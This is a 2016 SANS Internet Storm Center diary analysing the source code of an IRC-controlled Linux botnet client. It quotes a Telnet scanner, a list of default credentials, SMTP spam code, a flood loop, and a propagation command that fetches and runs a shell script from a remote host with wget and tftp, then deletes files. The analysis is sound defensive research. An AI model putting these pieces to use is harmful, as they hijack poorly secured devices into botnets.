Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: Internet Storm Center - SANS Internet Storm Center Internet Storm Center


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Latest Diaries

Analyze of a Linux botnet client source code

Published: 2016-07-27
Last Updated: 2016-07-27 06:34:59 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

I like to play active-defense. Every day, I extract attacker's IP addresses from my SSH honeypots and perform a quick Nmap scan against them. The goal is to gain more knowledge about the compromised hosts. Most of the time, hosts are located behind a residential broadband connection. But sometimes, you find more interesting stuff. When valid credentials are found, the classic scenario is the installation of a botnet client that will be controlled via IRC to launch multiple attacks or scans. Malicious binaries are pre-compiled for many architectures but, this time, I felt lucky and got access to the source code! I found a compromised host (located in the Seychelles) that was hosting pre-compiled binaries and the source code of the botnet client itself. I had a quick look of course...

Honestly, the client is not very complex and only basic features are implemented but it helps to understand how to code malicious software. First of all, only one C&C server was hardcoded in the source code (also located in the Seychelles) but the client can handle multiple servers. I presume that binaries are compiled with a new C&C every time a new campaign is started. The connection occurred on an unusual port: 9271 (the default one being 6667 - IRC).

Once started, the client forks itself, tries to connect to its C&C. If it does not work, it sleeps for five seconds and tries the next one (if configured).

if (pid1 = fork()) {
    waitpid(pid1, &status, 0);
    exit(0);
} else if (!pid1) {
    if (pid2 = fork()) {
        exit(0);
    } else if (!pid2) {
    } else {
}
} else {
}

setsid();
signal(SIGPIPE, SIG_IGN);

while(1)
{
    if(initConnection()) { sleep(5); continue; }
    ....
}

Once successfully connected, it enters the main loop waiting for commands. The following ones were implemented:

  • PING (expecting a classic “PONG” reply)
  • GETLOCALIP (returns the local IP address of the bot)
  • SCANNER [ON|OFF] (starts or stops the Telnet scanner - see below)
  • EMAIL <target email> <mx host> <subject no spaces> <message no spaces>
  • HOLD <ip> &lt:port> <time>
  • ip> <port> <time>
  • target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)
  • target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma separated> (packet size, usually 0) (time poll interval, default 10)

The "SCANNER" command looks the most interesting one, it implements a basic Telnet scanner. It generates random public IP addresses with the following function:

in_addr_t getRandomPublicIP()
{
    if(ipState[1] < 255 && ipState[2] < 255 && ipState[3] < 255 && ipState[4] < 255)
        {
            ipState[1]++;
            ipState[2]++;
            ipState[3]++;
            ipState[4]++;
            char ip[16];
            szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
            return inet_addr(ip);
        }

    ipState[1] = 0;
    ipState[2] = 0;
    ipState[3] = 0;
    ipState[4] = 0;
    while(
            (ipState[1] == 0) ||
            (ipState[1] == 10) ||
            (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
            (ipState[1] == 127) ||
            (ipState[1] == 169 && ipState[2] == 254) ||
            (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
            (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
            (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
            (ipState[1] == 192 && ipState[2] == 168) ||
            (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
            (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
            (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
            (ipState[1] >= 224)
        )
        {
            ipState[1] = rand() % 255;
            ipState[2] = rand() % 255;
            ipState[3] = rand() % 255;
            ipState[4] = rand() % 255;
        }

    char ip[16];
        szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
    return inet_addr(ip);
}

Then, it tries to connect to port 23 and to authenticate using a list of hardcoded credentials:

char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "guest\0", "user\0","pi\0","support\0"};
char *passwords[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0","alpine\0","raspberry\0","support\0", "ubnt\0"};

If the connection is successful, it tries to download and install itself. On the same server, multiple precompiled binaries are available for multiple architectures (i386, x64, arm, mips, ...).

if(send(fds[i].fd, "cd /tmp; wget http://x.x.x.x/bins.sh;chmod 777 bins.sh;sh bins.sh;busybox tftp -r tftp2.sh -g x.x.x.x;chmod 777 tftp2.sh; sh tftp2.sh; rm -rf *\r\n", 157, MSG_NOSIGNAL) < 0)
{
    sclose(fds[i].fd); 
    fds[i].state = 0;
    fds[i].complete = 1;
    continue;
}

The email feature looked experimental because some part of the code was commented out and the "From" field was also hardcoded:

if(send(fd, "HELO rastrent.com\r\n", 19, MSG_NOSIGNAL) != 19) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
memset(buffer, 0, 1024);

if(send(fd, "MAIL FROM: \r\n", 33, MSG_NOSIGNAL) != 33) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
memset(buffer, 0, 1024);

The domain rastrend.com is registered but not used at the moment. Here are passive DNS records found:

2015-11-06 184.154.229.207
2015-02-24 69.64.147.242
2014-10-14 208.43.167.119

About the flood commands, the "UDP" and "TCP" ones are classic. The "JUNK" command just send random data (by block of 1KB) into a TCP connection:

//nonblocking sweg
makeRandomStr(watwat, 1024);
if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
{
     close(fds[i].fd);
     fds[i].state = 0;
}

This is not a very complex example but it shows how a badly protected Linux box can be infected and integrated into a botnet to generate malicious activity. The fact that the main feature is a Telnet scanner and the presence of binaries for multiple architectures tend to think for the botnet targets residential routers or small embedded Linux like storage devices. In the mean time, the server hosting the source code and binaries is offline for 24 hours. The hardcoded C&C server is still alive.

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Keywords: botnet irc linux malware
0 comment(s)
ISC Stormcast For Wednesday, July 27th 2016 http://isc.sans.edu/podcastdetail.html?id=5099

If you have more information or corrections regarding our diary, please share.

Recent Diaries

Command and Control Channels Using "AAAA" DNS Records
19 hours ago by Dr. J. (0 comments)

Python Malware - Part 4
1 day ago by DidierStevens (0 comments)

It Is Our Policy
3 days ago by Russell (2 comments)

The life of an IT Manager
4 days ago by Deborah (3 comments)

Practice ntds.dit File
5 days ago by DidierStevens (1 comment)

Guest Diary, Etay Nir: Flipping the Economy of a Hacker
6 days ago by Richard (6 comments)

View All Diaries →

Latest Discussions

Firefox to banish hidden Flash files – and kill off sneaky ad snoopers
created 3 days ago by Russell (0 replies)

BGP forums/discussion
created 1 week ago by Anonymous (0 replies)

Security Policies
created 2 weeks ago by Anonymous (0 replies)

Security Principle - Don't trust logs from the host in question.
created 2 weeks ago by Anonymous (4 replies)

Tracking EoL Software
created 1 month ago by SaltedSecurity (2 replies)

View All Forums →

Latest News

View All News →

Top Diaries

Critical Cisco ASA IKEv1/v2 Vulnerability. Active Scanning Detected
5 months ago by Dr. J. (25 comments)

An Approach to Vulnerability Management
1 month ago by Russell (13 comments)

The life of an IT Manager
4 days ago by Deborah (3 comments)

CryptXXX ransomware updated
2 weeks ago by Brad (0 comments)

Guest Diary, Etay Nir: Flipping the Economy of a Hacker
6 days ago by Richard (6 comments)